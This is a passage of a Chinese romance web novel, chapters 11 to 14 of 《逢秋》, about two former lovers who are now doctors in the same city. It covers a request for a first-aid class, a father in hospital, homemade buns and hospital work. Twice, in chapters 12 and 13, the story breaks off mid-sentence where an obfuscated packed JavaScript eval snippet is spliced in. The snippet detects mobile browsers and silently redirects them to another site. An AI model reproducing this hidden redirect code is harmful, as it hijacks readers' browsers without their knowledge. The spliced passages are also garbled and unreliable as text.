他心里揪了一下,想说些安慰的话,又怕说过头她会不高兴,最后开玩笑的说了句:“没事,想想能赚的钱,一切看在钱的份上。” “说到这个,我跟你说真的何酌修。”穆秋吟闻言突然坐直,转头看向他,神色认真,“神经外科医生在那边,一年起码收入五六十万刀,只要能熬得过漫长的住院医培训阶段,要八年。” “我知道,我了解过的。”何酌修眉眼平静,“但我觉得国内也不错,现在很好了,我以前……没有想过有一天自己可以过上这种没什么负担的生活,你知道的。” 穆秋吟一顿,又窝回了座椅里,“也是,你有你的顾虑,否则我们也不会……” 她说到这里停了下来。 这是他们当时最大的分歧,穆秋吟有父 11. 第十一章(捉大虫) 《逢秋》全本免费阅读 穆秋吟从何酌修车上下来之后,心里郁闷得难受。 她也说不清楚这种情绪为什么突如其来,明明刚才还好好的,怎么突然就觉得不舒坦了。 而且说实话,何酌修什么都没做错,也没说错话,还做了好事呢,要不是他恰好路过载她一程,她还得花钱打车。 但就是不高兴,没头没脑的不高兴。 她又觉得今天怪倒霉的,决定去吃点喜欢的让自己心里舒服一点。 于是去了夏天时经常光顾的炒冰店。 没想到老板娘会有事要问,还送了一份炸鸡翅。 “有事您直说就是,不用这么客气的。”穆秋吟连忙摆摆手。 “应该的应该的。”老板娘笑笑,却没立刻说起自己想问的事,而是说起前两天附近一家人发生的事,“也是你们小区的,家里有个三岁的小男孩,不知道怎么想的,大姑娘都读高中了,还非要再生一个,他们家老太太听说生的是孙子,立刻从老家过来照顾宝贝金孙,穆医生你搬来得晚不知道,那个宝贝哟,要什么就给什么……” 穆秋吟听着老板娘讲人家的家长里短,不由得有点哭笑不得,幸好这不是在诊室,不然哪能让她这么不着边际的说一大通。 她想了想,还是把那碗榴莲绵绵冰拖到面前来,用勺子挖着冰沙,和小芋圆一起放进嘴里,边吃边听老板娘讲话。 “前两天,他们家那小子闹着要吃粽子,老太太就给他买了,让他自己拿着吃,结果……” 穆秋吟听到这里,忍不住啊了声,“才三岁,让他自己吃啊?万一不小心,吃太大口了,黏住喉咙吞不下去怎么办?” 而且粽子黏性大,一旦误入气管,就很容易引起气道梗阻,这时如果不能立刻正确施救,说不定就会窒息死亡。 抢救黄金时间就是发生异物卡喉之后的四分钟内,脑循环缺氧只要超过这几分钟,就可能造成脑神经系统的永久性伤害。 所以像果冻这些零食,都会在外包装上标注提醒,“勿一口吞食”“三岁以下儿童不宜食用”“老人儿童须监护下食用”,防的就是异物卡喉窒息。 老板娘一听她这话,立刻拍大腿:“可说呢!哪有这样喂孩子的,他还这么小,喉咙细细的,能吞得了多少东西?那个粽子这么大,裹蒸粽那种。” 说着还比划了一下,穆秋吟立刻就想,裹蒸粽好吃,我明天早餐就吃这个得了。 “这不就给吃出事了么……” 老板娘的声音将她的注意力唤回,接着听下去,果然是孩子被粽子卡住了喉咙,老太太不懂急救,伸手去抠孩子喉咙,大概是想着吐出来就没事了。 穆秋吟心里一紧:“孩子没事吧?” “好像是救回来了,但也差点就没了。”老板娘满脸心有余悸,“实在太危险了。” “我听我姑娘说,被东西卡了喉咙不能这么做,要用那什么办法,就是从后面抱着,那样顶到东西吐出来,是不是?” 穆秋吟点点头:“海姆立克急救法,就是针对这种异物卡喉的情况的。” “不过我怎么没听说这事?”她有些好奇。 老板娘嗐了声,“你们要上班的怎么会知道这种事,我们也是天天在店里,那些街坊的大姐阿姨每天都来坐坐,听她们说八卦才听说的。” 穆秋吟哦了声,以为她要问的就是这个海姆立克急救法。 谁知人家到了这时,才表明真正意图:“我姑娘说,谁都应该学会怎么急救,可是我们也不知道去哪儿学啊,就想问问穆医生你,愿不愿意教教我们?” 她指指厨房方向:“我是想让大家都学会的,我们店里每天都来这么多人,谁也说不准什么时候就遇到这样的事,小孩卡着喉咙啊,走着走着就摔下去啊,那要是在我们店里出事,我们什么都不会,想帮忙也帮不上,你说是不是?” 穆秋吟听了忍不住笑起来,有这种意识还真是难得。 她赞同的点点头,“确实是要学学才好……” 话没说完就被老板娘打断:“那穆医生你有没有空?我想请你给我姑娘还有店里这几个人培训一下,你放心,肯定有劳务费的。” 穆秋吟又失笑:“我当然是愿意,不过……社区没有组织过急救知识培训的课程吗?我听说有些社区,居委会会定时开展这方面的培训,咱们社区没有吗?” “不知道哇。”老板娘摊手,“不过我觉得这不冲突吧,多学一次也好,对吧?” “说得也是。”穆秋吟爽快答应,“那就明天晚上怎么样?如果我有突发状况,就再约吧?” 老板娘大喜,和穆秋吟加了微信,又说今晚给她免单,穆秋吟哭笑不得的跟她拉扯了好几个回合,才终于把账结了。 这才终于可以安安心心的吃她的绵绵冰,榴莲果肉和牛奶冻成冰块打出来绵绵冰细腻绵密,香甜浓郁,搭配的小芋圆和脆啵啵也好吃,穆秋吟慢悠悠的吃完这份清凉的甜品,又吃了芒果肠粉,觉得浑身的热气都被带走。 整个人确实舒服多了,没了来之前那种郁闷拥堵的心情,头脑都变得清醒许多。 随之而来的便是对何酌修的愧疚,她刚才其实不该冲他发脾气的。 他们已经没有关系了,他没有义务,或者说没有必要,承受她突如其来的坏脾气。 没有当场跟她翻脸,都算他脾气好了,穆秋吟不禁赧然。 可是要道歉也不知道怎么说,他们分开以后,以后删除了联系方式,难道……难道要去校友录里找? 好像也不是不行,至少邮箱肯定有。 她一边看着手机,一边离开炒冰店往回走,一路上微风徐徐,这座城市真正的秋天不知道什么时候才会来。 也许一直也不会来,会直接从炎热的夏天,过渡到冬天。 走到家门口前一刻,她将何酌修的邮箱复制下来,保存到备忘录里。 这是才发现,他的邮箱名字竟然还是她熟悉的那个。 Kilig,塔加拉族语,意思是“喜欢一个人喜欢得好像心脏里像有成千上万只小兔子,一张嘴就要全部跳出来一般”,是高中时他刚申请到这个邮箱时,她非要他取的。[1] 穆秋吟站在家门口,忽然间便怔了怔。 他怎么不改呢?真是的,还用这个,万一以后他对象知道了,会闹矛盾的吧?啊,是了,也可能这个邮箱他已经弃之不用了。 那她到底要不要给他发道歉的邮件? 穆秋吟难得踌躇,看到门框上映出她茫然挠头的模样,顿时一愣。 这个样子好蠢,她不能这样! 抿着唇按密码锁,刚打开门就看见呆呆已经等在玄关柜边上,仰着头,眼巴巴的望着她。 穆秋吟心里一软,立刻弯腰把它抱起来,“宝宝,你来接我啊,谢谢哦。” 说着低头亲亲它的脑门,陪它玩了一会儿才把它放下来。 穆秋吟没想好要怎么写道歉邮件,索性先去忙别的事,打扫卫生,洗漱,吹头发,晾衣服,都忙完了,是晚上十一点半,她打开电脑,开始思考邮件的措辞。 何酌修在看着她进了炒冰店之后,驱车回了一附院,走进病房时是晚上十点多,老何还没睡,正侧躺着听电视放的新闻。 见到他回来,就问一句:“回这么早啊?” “不早了,又没什么事,吃了饭就回来了。”何酌修应道,问他感觉怎么样。 老何习惯了他每天都要问一遍这话,嗯了声:“没什么不舒服的,就是躺得有点累。” 何酌修莞尔,这就是没办法的了,只能靠忍。 “要不明天我下些戏曲在平板里,给你带来解闷?” 老何还挺爱听戏的,闻言嗯了声:“也行吧,给我找点事做,不然太难熬了。” 说着他又想起来,“店里的东西,你哪天有空去看看,不能放的都处理掉,冰柜里面的肉啊虾啊,还有鸡蛋,等我出院都要坏了,你看怎么处理了吧。” 老何的店里专做粥粉面,肠粉、炒粉、汤面、云吞面、皮蛋瘦肉粥、青菜粥,大概就是这几样,数量少,所以用料一定要新鲜,不然客人不会买账的。 何酌修闻言立刻答应:“明天下班我就去处理了。” 顿了顿,他又跟老何商量:“都拿回家做成包子云吞,你觉得怎么样?” 12.第十二章 老何在腰大池引流脑脊液术后第六天拔管,复查了头颅CT,情况平稳,但还需要继续在医院住几天。 “很快就可以回去休养了。”何酌修跟他说。 老何松口气,“我宁可回家去躺着,躺家里不花钱。” 何酌修无奈的笑笑:“我想的刚好和你相反,我宁可你在医院躺着,医院有护工,还有医生护士,有什么事可以立刻处理,更安全。” 这下回去,得请阿姨咯,也不知道能不能快点找到阿姨。 老何经他提醒,这才想到还有这回事,顿时也很无奈,苦笑道:“人老了就是不行,到处是麻烦。” “你这是飞来横祸,跟老不老有什么关系。”何酌修哭笑不得的劝了句,“放宽心,车到山前必有路,明天我跟邵主任商量一下,看能不能让你一直住院算了,在医院躺够六周再回去。” 老何震惊:“这么久,医保还能报销吗?” “超出部分自费算了,反正请阿姨也要钱。”何酌修眉眼不动,一副不差钱的样子,“钱挣来就是花的。” 老何想劝,他下一句就是:“到时候我就不天天来了,你还是得靠护工。” 行吧,反正回去了他也是担心,还不如在医院,他回去睡觉也能放心点。 老何这头不这么危险了,何酌修第二天下班来看过他以后,便放心回去了。 前天从店里清回来的各种食材还塞在冰箱里,他决定熬个夜把它们处理了。 厨师机在兢兢业业打面团,何酌修在叮叮当当拌包子馅,猪肉牛肉都切小块放进绞肉机搅碎,虾仁清洗干净切成小块,葱姜水和各种调料准备好。 最后准备了两种馅料,一种是猪肉虾仁馅,另一种是加了葱花和熟凉油搅拌的牛肉馅。 面团发好已经是晚上十一点,屋子里灯火通明,只有他干活时锅碗瓢盆的声音,没有一点人声,在窗外夜色映衬下,气氛显得有点落寞。 但何酌修已经习惯了这样安静,这更能让他集中注意力完成手头的事。 他动作飞快的包着包子,每个包子大小都差不多,边包边蒸,蒸好后放进冰箱速冻,接着又蒸下一盘。 他一个人就是一条流水线,每个步骤都不慌不忙,有条不紊,甚至连速度都没有减慢,仿佛不知疲倦。 究其原因,是常年的手术生涯锻炼了他身体的忍耐力,神经外科的手术对精细度要求很高,而且一台手术的时间可能长达几个小时,甚至更久,体力消耗巨大,这就要求术者必须有很好的耐力,能够坚持在手术台上站够几个小时甚至更长时间,还要注意力集中。 长年累月这样下来,何酌修早就被锻炼出来了,区区做包子,还是能随便走神的,简直不要太容易。 忙了两三个小时,在凌晨两点半时,终于结束战斗,他把脏了的碗筷交给洗碗机,简单打扫一下厨房卫生,就去洗漱睡觉了。 明天又是一个值班日。 “护士交班,昨日……” 每天的工作都从交班开始,何酌修微微靠在椅背上,一面听着交班的内容,一边点着鼠标选择医嘱。 其他人也都跟他动作差不多,封主任抬眼看一圈这满屋子的人,又继续低头看手里的文件。 等交班记录念完,他才抬起头:“手里的事都停一下。” 好么,老大要讲话了,给点面子。 何酌修松开鼠标,二郎腿就翘起来了,斜了斜身子往主任那边看,十指交叉着放在腿上,两个大拇指有一下没一下的互相碰着。 看这姿势就觉得这人正无聊。 封主任点评了一下交班记录里提到的几位危重患者,接着安排工作:“我们医院要去区公安分局义诊,主题是……” 低头念文件:“人民警察是维护社会稳定和治安秩序的重要力量……为了加强对人民警察的关心关怀,促进爱警暖警工作进一步落实落细,我院决定……‘拥警爱警,医路同行’健康义诊主题党日活动……” 念完抬头扫一圈,最后视线落在何酌修身上:“时间是明天下午,酌修你是不是明天下夜班?那就你去吧,带两个学生一起。” 话一说完,周围立刻响起雷鸣般的掌声。 声声都透着一股死道友不死贫道的幸灾乐祸,就差真的笑出声了。 何酌修:“……”我就知道! 早会结束,何酌修起身,对身后两个规培生道:“我先去门诊,你们跟着谭主任去查房,跟我们的病人说一下,我中午下门诊再回来看他们。” “常规医嘱我已经开好打印出来签好字了,一会儿你们看看谭主任还有没有其他指示,有的话补一下,拿给护士过医嘱。” “27、36和40床今天出院,你们给办一下出院手续……暂时就这些,忙完了你们写写病历,要是病历也写完了,看看有谁的手术要人,也去看看,连手术都没得看就下来门诊。” “别偷懒啊,现在是你们最轻松的时候,等以后真正开始上班了,就只有你们专科的病例了,规培几年,总要知道什么情况该请什么会诊,对吧?” 两个学生连连点头,何酌修知道他们内心未必认同自己的话,规培嘛,都是牛马来的,干得最多拿得最少,吃的是草挤出来是血,什么最轻松的时候,就特么笑死。 但何酌修天天手术室、病房、门诊三点一线,还要再加上隔三差五的去实验室和学校,每天睁眼就是卷项目卷论文卷手术量卷病床率,仿佛永远不能停歇,不仅要管自己的病人,下级医生的病人出了问题也要找他。 处在他这个位置,确实有资格觉得规培阶段是相对轻松的。 ——这就是学生跟老师因为立场不同,所以看问题的角度不同,观点也不同。 但怎么说呢,他觉得自己该做的都做了,该说的也都说了,其余的,就随缘吧。 交代完要做的事,就带着一个跟诊的学生匆匆出门往门诊楼去。 医院不管什么时候都这么多人,何酌修需要穿过走廊上拥挤的人群,走到中间,才能到达自己的诊室。 诊室门口早就挂上应诊医生的名牌。 有来复诊的老病人,见到他便打招呼:“何主任来了。” “诶,等久了吧?再稍微等一下,我开个电脑。”他笑着应道,一边推门,还一边问对方,“最近感觉怎么样,头还晕不晕?” 这是认得对方的,只是一句普通的询问,也会让病人舒坦许多,瞧,医生记得我呢,不是只有我一个人把我的病情放在心上的。 学生还年轻,只觉得老师牛逼,这都记得住?若是穆秋吟在,就会告诉他,少年你可真天真,这是天赋,羡慕不来的,此人记忆力绝佳,得亏他不爱记仇:) 开电脑,泡一大壶茉莉花茶,开始叫号,一气呵成,坐下就没打算再起来。 头也不抬的看了半天门诊,中午快要下班时来了一个小姑娘,七岁。 这个岁数,按理来说应该去看小儿神经外科,脑科医院就有,主要是儿童脑科肿瘤方向的。 “没挂到小儿神经外科的号吗?”何酌修看了眼孩子,温声问道。 小姑娘很可爱,跟在父母身边,满脸不怯场的好奇,看上去是个活泼外向的性格。 何酌修朝她弯了弯眼睛,听她父亲说:“实在挂不上那边的号,省妇幼也挂不到,本来想去京市的,但实在太远了,还得回去上班……” 何酌修听了几句,听明白他们是外地过来求医的,点点头,赶紧问孩子是哪里不舒服。 “她三个月前左边身子突然开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|12036855|128250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽抽,一开始是偶尔一次,后来发作得越来越频繁,现在几乎每天都会发作几次。”孩子妈妈回答道。 何酌修问:“发作的时候孩子都是清醒的吗?” “每次发作她自己都知道,有时候我们没看到,她自己就告诉我们刚才抽抽过了。” “在其他医院做过检查吗?核磁做过没有?” “家那边医院给做了,说脑子里有个肿瘤,也是看的神经外科,医生说很严重,要开刀,但她太小了,我们就想来大医院再问问,能不能不做手术。” 何酌修接过他们带来的病历资料,看到片子,显示在孩子大脑的右侧中央沟附近有一块不算太小的病灶,报的是“怀疑胶质瘤可能性大”。 “这个位置在功能区附近,看病灶的样子确实很像肿瘤,做手术的话,风险确实有点大,你们看这个位置……”何酌修用笔圈了一下片子,“这里是肢体的感觉运动区,病灶就在它旁边,所以手术的风险就是有可能引起瘫痪……” 聊过以后,何酌修建议他们:“可以再去小儿神经外科问问,或者是去找神经内科的医生,对症控制一下癫痫发作的问题,过两个月再复查一次核磁,观察一下病灶的大小变化,再决定要不要手术。” 家长连忙应好,何酌修考虑到他们是外地来的,直接就给神内的同事打电话,把转介过去了。 一家三口离开以后,何酌修又看了两个病人,这才结束当天的门诊,回办公室匆匆吃完饭,去看了一下在床的患者,处理了些病历上的文书工作,就匆匆去了手术中心。 一直到晚上八点才回来,踩着双洞洞鞋,咯吱咯吱的响,搭班的许丹说:“人家是步步生莲,我何哥这是一步一响,这洞洞鞋你就穿吧,一穿一个不吱声,它都帮你吱完了。” 何酌修:“……” 半夜也不安宁,凌晨一点多来了个脑梗的,何酌修跟许丹去做溶栓,但幸好就这一例,后半夜还是睡了会儿的。 第二天中午下夜班,下午去参加义诊,在公安分局那儿待了三个小时,因为有神内的同事也去了,所以他还真没太多事,纯纯凑人头。 一结束就跑了,人家喊他一起去吃饭,他就说:“我爸住院呢,我得去看他。” 回了家,把前天晚上做的包子从冷冻层抠出来几个,刚放进蒸箱,忽然想起那天穆秋吟给他的那封让他哭笑不得的道歉邮件。 紧接着便想起她的饮食习惯来。 她爱吃海鲜,还吃水果,还爱吃冷饮,如果从传统医学的角度来看,她的饮食习惯真的不那么健康,全都是生冷寒凉的东西,吃多了容易湿气重。 他以前劝过,但回回劝,她回回左耳进右耳出,挨批评了也只会笑眯眯的看着他,要是觉得他不高兴了呢,就冲他亮一下小虎牙博他心软。 那个别人眼里高高在上的天之骄女,在他看来,也不过是一个有着自己的喜好和小缺点,偶尔耍赖的小姑娘。 扶着冰箱门的手顿了顿,纠结犹豫半晌,他还是叹了口气,从冷冻层取出一袋面包来。 鲜虾猪肉馅多拿几个,牛肉的放回去几个,凑够十来个,塞进蒸箱去。 傍晚五点多,天色已经发阴,何酌修到了一附院。 彼时的穆秋吟正出来取外卖,刚跟外卖小哥道完谢,抬头就看见何酌修朝这边走来。 手里还提着东西。 咱就说……这个场景是不是似曾相识? 穆秋吟瞬间觉得有点恍惚,怎么感觉这几天过了又好像没过。 紧接着就想起那封邮件的事,她下意识就想躲,觉得现在见他多少有点尴尬。 可刚转身,就被他一下叫住:“木木。” “你跑什么?”他问。 穆秋吟身影顿时僵住。 13.第十三章 被何酌修叫住,穆秋吟不得不转回身来。 “……谁、谁跑了?我又没看见你。”她果断装傻,“怎么,何主任有事?” 何酌修看着她,有些哭笑不得,明亮的眸子里闪动着无奈。 “之前是我不对,我跟你道歉,你别对我阴阳怪气。” 也没细说哪里不对,但彼此心知肚明。 穆秋吟嘴角轻轻撇了一下,没吭声。 何酌修看一眼她手里提的外卖袋子,某家炖品店的,有心想问她前几天吃了冰后有没有肚子疼,又不好开口。 到底是不比以前,许多话哪怕只是单纯的关心,说了也只会让人觉得冒犯。 于是他只说:“家里做了点包子,我给我爸蒸了几个,你也尝尝?” 穆秋吟微微一怔,抬眼看着他。 包子啊,他做的包子,她吃过他做得最丑的包子。 那个时候大二,学校宿舍是允许用电的,他刚开始学做饭,没学走先学飞,心血来潮要给她做包子,结果做出来的包子跟汤圆似的,一点褶子都没有。 她一边笑一边吃,劝他好好学习,不然就算去做餐饮他也混不到一口饭吃。 何酌修当时臊得满脸通红,说自己再学学就会做了,但后来她只吃到过他做的云吞和饺子,没见过包子,她不用问,肯定是没学会呗。 但今天…… 她看着何酌修,抿了抿唇,一脸如临大敌的问:“不是汤圆吧?有褶子的吧?” 何酌修:“……” 好家伙,知道的是你去美国住培了,不知道的还以为你是学什么了,瞧瞧这揭短第一名的样子! “……现在是正经包子了!不是汤圆假扮的!”他没好气的回了句。 知道自己戳他肺管子了,穆秋吟很不好意思的笑笑,忙说了声抱歉。 看着她嘴角客套的笑,何酌修的心里就像是被扎了的气球,噗嗤噗嗤的往外漏气,再也气不起来。 他低头从袋子里拿出一袋包子,递过去,轻轻叹了口气,“其实学会也没多久,前年我爸店里有个客人是做面点老师的,他教了我几个小窍门,我才包得出正经像样的包子。” 穆秋吟微微一愣,轻轻哦了声。 她只知道他家是拆迁了,但何叔怎么会来容城开店,她想问,又觉得唐突,就像她始终没问他这几年过得怎么样一样。 怕一问,就听到让她觉得内心不安的答案。 何酌修把袋子递过来,她连忙伸手接住,讷讷的道了声谢。 “……我、我下次请你吃饭?”她试着组织语言,“上次你送我回去,我还没谢你,还有月饼……” “不用这么客气。”何酌修有些无奈,但还是笑着看她,声音温和,“再怎么样,我们也是熟人,是老乡,对吧?” “总不能我在路上见到你,连招呼都不跟你打一个,看见你有困难,我也袖手旁观。”他摇摇头,似乎在提醒她,“木木,我们只是……不是结了仇。” 穆秋吟心头一颤,突然就觉得有些难过,连眼睛都觉得有些发酸。 该死的大姨妈!她在心里骂骂咧咧。 她鼻翼翕了翕,露出一个笑脸来,“你现在改做中央空调了是吧?到处帮人,给人送东西,也不怕以后你女朋友生气。” 何酌修看着她故意做出来的笑脸,那颗许久没见过的小虎牙好像都不那么亮了,心里也忍不住一闷。 他笑了笑:“以后的事以后再说,谁知道明天会发生什么事。” 穆秋吟还没来得及说什么,他就继续道:“快去吃饭吧,说不定一会儿就要出车了。” 她顿时一噎,差点话都不会说了,半晌才嘀咕一句:“……呸呸呸,坏的不灵好的灵。” 何酌修听见,不由得一乐,“好吧,是我说错了。我先去看我爸,那就祝你……今晚平安无事?” 他说完就走了,穆秋吟看着他的背影,忍不住叹了口气。 她满脸纠结的回了办公室,东西刚放下,冯恬就从外面进来了。 嚷嚷说:“饿死我了饿死我了,小师姐,我们饭来了没有?快快快,我现在饿得手都在抖。” 今天特别忙,用跟班的规培生的话来说就是:“不是在做心肺复苏,就是在准备做心肺复苏。” 前后来的几个病人都是一声不吭的那种,接诊的医生问着问着病人就滑倒了,只好赶紧开始抢救。 有两个要插管的,冯恬没怎么干过这个,拿着喉镜都紧张,穆秋吟赶紧接过喉镜自己上。 右手用巧劲分开病人的上下门齿,左手拿着喉镜从病人右侧嘴角塞进去压住舌背,把舌头往左边一拨,推着镜片往里,等看到会厌,向前上方一提一拉,立刻暴露声门。 接着是放导管,让冯恬拔导丝,接呼吸机,拔喉镜,气囊打气,整个流程一气呵成,无比丝滑,速度快到一旁跟着的学生都没反应过来,便已经结束。 惊起一片赞叹,还有学生问她怎么样才能做到像她这样,她观察着呼吸机上的数据,失笑道:“多练练就可以了。” 确定插管成功后,固定好气管导管和牙垫,这次操作就算完成了。 她本来想跟学生讲一下气管插管的窍门和注意事项,但紧接着又有病人被120车送了过来,只好暂时作罢。 忙中偷闲的点了外卖,幸好外卖送来时忙碌已经告一段落,不然她哪有时间在门口跟何酌修磨叽那么久。 冯恬觉得自己快要饿昏了,赶紧拆外卖袋子,穆秋吟洗手回来,看她脸色有点发白,赶紧先从袋子里拿了个包子递到她嘴边。 “吃一口,你先吃点垫垫,别着急。” 冯恬看也不看,张口就嗷呜一下,咬掉一大半包子。 穆秋吟把手收回来,仔细看一眼里面什么馅,发现了虾仁的痕迹,鲜虾猪肉馅的,又是她喜欢的口味。 陈皮红豆沙的月饼,鲜虾猪肉的包子,都是巧合? 冯恬把嘴巴里的半个包子嚼吧嚼吧吞了,低头过来把穆秋吟手上的半个也叼走,含含糊糊的问她:“包子是哪家的?还挺好吃的。” 穆秋吟嘴角一抽,“我前男友家的,好吃吧?” 冯恬一愣,差点被包子卡住喉咙,半天说不出话来,瞪着眼震惊的看向穆秋吟。 穆秋吟没搭理她,提着自己的饭走到一旁准备吃饭,隔壁诊室的普外科同事和江海涛勾肩搭背的进来,聊着别的不知道什么的话题。 见她们在拆外卖,就笑眯眯的问:“今天吃什么好菜啊?” “喝汤,随便吃点。”穆秋吟应道,从抽屉里翻出一盒止痛药,挖了一颗塞进嘴里。 说着她提溜起那袋包子,问他们:“吃么,包子,好吃的。” 他们没洗手,她就递过去一双一次性筷子。 俩大男人一边吃包子,一边说好吃,还问是哪家的外卖,冯恬在一旁听得直翻白眼。 好家伙,这不刚才她问过的问题吗?原来自己刚才的样子这么傻嗷! 她看着这俩,觉得简直一言难尽,忍住想骂人的冲动,那是人家前男友送来的!是让你们吃的?给我吐出来! 也是到这个时候,穆秋吟才发现,何酌修给她的袋子里装了整整十个包子。 穆秋吟:“……”这是准备喂猪吗?! 江海涛跟同事一人吃了两个,还在讨论:“你那个什么馅儿的?” “虾仁……猪肉,咋啦?” “我的是牛肉的,好吃……怎么感觉有点像我老娘做的,很家常啊。” 江海涛跟穆秋吟夸道:“你买的这家包子好,我看肉都是用的好肉,还那么大一个肉团,包子皮也暄软,好吃,哪家的?” 已经问了两次了,看来是真的想买,可惜…… “别人给的,不是外卖。”穆秋吟实话实说。 俩人表示很失望。 江海涛跟穆秋吟说了会儿他们组今天收的几个病人,仔细问过各项检查结果后,接了个电话,好像是保安亭打来的,急匆匆的走了。 等他走了,冯恬才立刻凑过来,问穆秋吟:“小师姐,这包子真是……啊?” 跟班的几个学生也好奇的凑了过来,都不吱声,纯粹是准备听八卦。 穆秋吟嘴角一抽,有点无奈的点点头:“是。” 冯恬的双眼再次瞪大:“不是,你们都掰了不是吗?他怎么还给你送东西……不会是另有企图吧?” “……啊?”穆秋吟一愣,歪了歪头,露出一点茫然来,“企图?能图什么呢?应该没有吧,我有的他也有。” 冯恬信誓旦旦的分析:“图你长得好看学历高,工作稳定铁饭碗啊!” 穆秋吟嘴角一抽:“……他跟我从高中到大学都是同学。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|12051816|128250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是冯恬他们不知道她的家庭情况,否则不会只说这几点。 可是何酌修并不在意这个,如果何酌修是想通过她得到她父亲那边的资源,当初就不会答应分手答应得这么痛快。 “巧合罢了。”她盖章定论,夹起一个包子咬了一口,牛肉馅的,味道很好,只是陌生得厉害。 她其实已经忘了何酌修做的菜是什么味道了。 何酌修上了住院部十七楼,碰见晚查房的邵主任,俩人在门口站着聊了会儿。 聊的都是两个单位之间一些琐碎的边角消息,比如听说你们医院刚退休的谁谁被查了,怎么回事啊,又比如我们医院的谁谁辞职了如何如何。 聊了有七八分钟吧,邵主任先回办公室去了,何酌修推门进去。 老何眯着眼睛在听戏,见他来了先问吃了没有,又问家里怎么样,得知都好,他又念叨起街坊。 “不知道等我回去,生意会不会都被别人抢了。” 何酌修哭笑不得,“怎么会,你要相信自己的手艺,还有街坊们跟你的感情。” 老何哼哼笑了两下,让他帮自己下小说,“要那种叫算命和收鬼的,越长越好,我躺着听,听累了就睡觉。” 何酌修很震惊:“怎么以前没听你说喜欢这种小说?” “今天老杨在听,我跟着听了一会儿,觉得有意思。” 老杨是何酌修给他找的护工。 何酌修欣喜于父亲找到了打发时间的兴趣爱好,这样他就可以在医院安安稳稳的待够一个月了。 带来的包子还有几个,他给老何吃了一个,老何还惦记着他那些浪费了的食材呢,嘀嘀咕咕,何酌修一边听一边安静啃包子。 思绪乱飞,想到了穆秋吟,也不知道她喜不喜欢这两个口味的包子。 应该还行吧?有虾,还有牛肉,都是她愿意吃的。 不过也有可能她这几年的口味变了,就连他吃东西的习惯也跟以前不太一样了,更何况她还在国外待了这么久。 就当最后一次吧,以后也不会有这样的机会了,他想。 转天下午他出门诊,终于见到了之前说有亲戚患了脑叶肿瘤,想来脑科医院做手术的大学同学林立。 “怎么现在过来,没找孟师姐看么?”何酌修有些惊讶。 林立耸耸肩,有点无奈:“我跟孟师姐不熟,老一辈人都这样,想找熟人看,正好家里有点事就耽搁了,幸好也不差这几天。” 容城的医疗分为几个派系,主要囊括容医大和另外两所有医学院的知名大学下属的附属医院,林立毕业后加入的市第二人民医院,是另一所大学的附属医院,跟他和穆秋吟的单位不是一系了,所以他和孟涟师姐确实不熟。 何酌修笑笑,请病人坐下,看过片子和检查资料,做了详细的查体以后,他打电话问病房还有没有床,当天就把人收进去了。 “完善一下术前检查,没什么禁忌症的话,就尽快安排手术。” 因是下旬,一系列检查做下来,手术刚好安排在国庆假期前一天。 手术很成功,林立为此特地请何酌修吃饭。 席间聊得兴起,提到以前的是,他嘴快的说了句:“你跟穆秋吟真是可惜了。” 何酌修笑笑,“我觉得还好,谈恋爱不都这样?合适就在一起,不合适就一拍两散,结了婚都还能离,何况谈恋爱。” “你说你怎么不挽留一下呢?你们谈了这么多年,真的,我们都以为一毕业就能喝到你俩喜酒来着。” 说完他还啧了好几声,遗憾之意似乎比当事人还强烈。 何酌修哭笑不得,“挽留什么?她是个自由人,难道就因为我没办法跟着她去,就强行把她留下来?这太损阴德了。” 他以前跟穆秋吟说过,会永远支持她的一切决定,哪怕她的决定是未来不需要他的参与。 既然说了,那就要做到。 林立还是觉得可惜,又觉得既然他们现在在同一个城市,如果有机会,不妨试着再联络起来。 何酌修没说已经很穆秋吟见了几次,只笑笑道:“太忙了,哪有心情和时间考虑这事,连面都见不上,算啦。” 语气有些不着痕迹的敷衍,根本没把对方的提议放心上。 但他没有想到,这话才说完没两天,他就见到了穆秋吟,见面地点居然还是派出所。 14.第十四章(捉虫) 持续好几天的国庆小长假让值班这件事变成了太公分猪肉,何酌修也算幸运,假期刚开始前三天就把班值了。 “难得休息,你快回去吧,干点什么都行,去逛街吃饭,去跟女朋友约会,干嘛都行,别在这儿搁着啦。” 老何看着下了夜班还来医院守着自己的儿子,既觉得无奈,又满心欣慰。 那么多的人折腾来折腾去,想尽办法就只为了要一个自己亲生的孩子,他老何这辈子没这种机会,但却也足够有福气。 当初只是可怜这个孩子早早没了亲妈,要是把他送回他亲爹那儿,指不定哪天死了都没人知道。 ——谢白瑞那个人他打听过的,惯会忘恩负义趋炎附势,他抛妻弃子傍上富婆之后,对富婆那叫一个死心塌地,富婆指东他不会往西,富婆让他舔屎他绝不吃鸡,靠着这样的忠心才成功上位成了赘婿。 一个赘婿的前头儿子来了自家,你就想吧,富婆能不能、也有没有必要受这种委屈。 她不高兴,何酌修去了她家,绝对没好日子过,第一个作践他的,一定是他亲爹谢白瑞。 黄莹虽然嫁给他也没几年,但她帮自己送走了老娘,老娘最担心的就是她走后自己没个家,黄莹来了以后,老娘整个人都放松下来,最后那一年恐怕是这么多年来她最轻松的时候。 所以黄莹走后,帮她照顾好儿子,老何觉得是应该的。 一个孩子吃穿能花多少,学校规定周一到五必须穿校服,一年到头也买不了几件新衣服,至于吃饭,他自己也要吃,多双筷子而已。 